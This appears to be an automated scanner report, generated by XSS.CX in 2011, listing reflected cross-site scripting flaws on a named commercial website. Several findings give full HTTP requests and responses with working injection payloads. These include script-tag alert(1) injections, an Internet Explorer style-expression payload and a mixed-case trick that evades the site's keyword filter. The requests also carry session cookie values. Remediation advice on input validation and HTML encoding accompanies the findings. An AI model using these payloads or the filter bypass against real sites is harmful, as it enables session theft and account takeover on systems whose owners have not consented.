Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the email request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a0b88'style%3d'x%3aexpression(alert(1))'b34582dde46 was submitted in the email parameter. This input was echoed as a0b88'style='x:expression(alert(1))'b34582dde46 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
POST /ICA/ForgotPassword.aspx HTTP/1.1 Host: www.stansberryresearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.stansberryresearch.com/responses/forgot_password.asp Content-Type: application/x-www-form-urlencoded Content-Length: 38 Cookie: EOA+Scribble+Short+%2D+New+Style=EOA+Scribble+Short+%2D+New+Style; ASPSESSIONIDQSTBRQSC=BKEBMFABFDHGOKGKHJDOFCLM; ASPSESSIONIDQACQTSTA=CFBOLMLBHFIBMNJICLHNHBOJ; Overseas+0611=Overseas+0611; Saudis39=Saudis39; Yukon=Yukon; __utma=171599330.1362697840.1320384924.1320384924.1320384924.1; __utmc=171599330; __utmz=171599330.1320384924.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; OAX=Mhd7ak6zfYAAAE/i; OAS_SC1=1320385965464; __utmb=171599330.7.10.1320384924
HTTP/1.1 200 OK Connection: close Date: Fri, 04 Nov 2011 07:06:02 GMT Server: Microsoft-IIS/6.0 P3P: CP="UNI STA NAV COM INT DELi CUR TAI NON COR BUS DSP" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 302
The value of the lead request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fa10"><script>alert(1)</script>f32f64f27c2 was submitted in the lead parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pro/special/0712PWAORISP.asp?list=digest&lead=o3fa10"><script>alert(1)</script>f32f64f27c2 HTTP/1.1 Host: www.stansberryresearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 04 Nov 2011 07:06:46 GMT Server: Microsoft-IIS/6.0 P3P: CP="UNI STA NAV COM INT DELi CUR TAI NON COR BUS DSP" X-Powered-By: ASP.NET Content-Length: 66501 Content-Type: text/html Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
The value of the list request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9bf9b"><script>alert(1)</script>d0439f3f499 was submitted in the list parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pro/special/0712PWAORISP.asp?list=digest9bf9b"><script>alert(1)</script>d0439f3f499&lead=o HTTP/1.1 Host: www.stansberryresearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 04 Nov 2011 07:06:41 GMT Server: Microsoft-IIS/6.0 P3P: CP="UNI STA NAV COM INT DELi CUR TAI NON COR BUS DSP" X-Powered-By: ASP.NET Content-Length: 66501 Content-Type: text/html Expires: Fri, 04 Nov 2011 07:06:41 GMT Set-Cookie: ASPSESSIONIDQACTSRRC=HNCPEHMBGJJHOICIBLINHKCA; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
1.4. http://www.stansberryresearch.com/secure/digest/2008/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.stansberryresearch.com
Path:
/secure/digest/2008/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 109ab"><a>a7f4769ef14 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /secure/digest/2008/?109ab"><a>a7f4769ef14=1 HTTP/1.1 Host: www.stansberryresearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: EOA+Scribble+Short+%2D+New+Style=EOA+Scribble+Short+%2D+New+Style; ASPSESSIONIDQSTBRQSC=BKEBMFABFDHGOKGKHJDOFCLM; ASPSESSIONIDQACQTSTA=CFBOLMLBHFIBMNJICLHNHBOJ; Overseas+0611=Overseas+0611; Saudis39=Saudis39; Yukon=Yukon; EOA+SHR=EOA+SHR; Silver+Update+VID=Silver+Update+VID; EOA+Scribble=EOA+Scribble; __utma=171599330.1362697840.1320384924.1320384924.1320384924.1; __utmc=171599330; __utmz=171599330.1320384924.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; OAX=Mhd7ak6zfYAAAE/i; OAS_SC1=1320385965464; __utmb=171599330.7.10.1320384924
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Fri, 04 Nov 2011 07:05:11 GMT Server: Microsoft-IIS/6.0 P3P: CP="UNI STA NAV COM INT DELi CUR TAI NON COR BUS DSP" X-Powered-By: ASP.NET Content-Length: 12169 Content-Type: text/html Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <ti ...[SNIP]... <input name="ref" type="hidden" value="/secure/digest/2008/html/20080910_Digest/109ab"><a>a7f4769ef14=1"> ...[SNIP]...
1.5. http://www.stansberryresearch.com/secure/digest/2008/html/20080829_Digest.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.stansberryresearch.com
Path:
/secure/digest/2008/html/20080829_Digest.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34871"><ScRiPt>alert(1)</ScRiPt>4951945bc95 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.
Request
GET /secure/digest/2008/html/20080829_Digest.asp?34871"><ScRiPt>alert(1)</ScRiPt>4951945bc95=1 HTTP/1.1 Host: www.stansberryresearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.stansberryresearch.com/pub/digest/archive/2008/html/20080902_Digest.asp Cookie: EOA+Scribble+Short+%2D+New+Style=EOA+Scribble+Short+%2D+New+Style; ASPSESSIONIDQSTBRQSC=BKEBMFABFDHGOKGKHJDOFCLM; ASPSESSIONIDQACQTSTA=CFBOLMLBHFIBMNJICLHNHBOJ; Overseas+0611=Overseas+0611; Saudis39=Saudis39; Yukon=Yukon; EOA+SHR=EOA+SHR; Silver+Update+VID=Silver+Update+VID; EOA+Scribble=EOA+Scribble; __utma=171599330.1362697840.1320384924.1320384924.1320384924.1; __utmc=171599330; __utmz=171599330.1320384924.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; OAX=Mhd7ak6zfYAAAE/i; OAS_SC1=1320385965464; __utmb=171599330.7.10.1320384924; RDB=c803000000000000002d2d2d2d2d2d2d2d2d2d2d2d2d2d2d000000000000c55c000000000000
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Fri, 04 Nov 2011 07:06:06 GMT Server: Microsoft-IIS/6.0 P3P: CP="UNI STA NAV COM INT DELi CUR TAI NON COR BUS DSP" X-Powered-By: ASP.NET Content-Length: 12164 Content-Type: text/html Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <ti ...[SNIP]... <input name="ref" type="hidden" value="/secure/index/34871"><ScRiPt>alert(1)</ScRiPt>4951945bc95=1"> ...[SNIP]...
1.6. http://www.stansberryresearch.com/secure/digest/2008/html/20080924_Digest.asp [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.stansberryresearch.com
Path:
/secure/digest/2008/html/20080924_Digest.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c85c"><a>76c6d3d160f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /secure/digest/2008/html/20080924_Digest.asp?9c85c"><a>76c6d3d160f=1 HTTP/1.1 Host: www.stansberryresearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.stansberryresearch.com/pub/digest/archive/2008/html/20080926_Digest.asp Cookie: EOA+Scribble+Short+%2D+New+Style=EOA+Scribble+Short+%2D+New+Style; ASPSESSIONIDQSTBRQSC=BKEBMFABFDHGOKGKHJDOFCLM; ASPSESSIONIDQACQTSTA=CFBOLMLBHFIBMNJICLHNHBOJ; Overseas+0611=Overseas+0611; Saudis39=Saudis39; Yukon=Yukon; EOA+SHR=EOA+SHR; Silver+Update+VID=Silver+Update+VID; EOA+Scribble=EOA+Scribble; __utma=171599330.1362697840.1320384924.1320384924.1320384924.1; __utmc=171599330; __utmz=171599330.1320384924.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; OAX=Mhd7ak6zfYAAAE/i; OAS_SC1=1320385965464; __utmb=171599330.7.10.1320384924
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Fri, 04 Nov 2011 07:05:13 GMT Server: Microsoft-IIS/6.0 P3P: CP="UNI STA NAV COM INT DELi CUR TAI NON COR BUS DSP" X-Powered-By: ASP.NET Content-Length: 12169 Content-Type: text/html Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <ti ...[SNIP]... <input name="ref" type="hidden" value="/secure/digest/2008/html/20080904_Digest/9c85c"><a>76c6d3d160f=1"> ...[SNIP]...
Report generated by XSS.CX at Fri Nov 04 08:49:02 CDT 2011.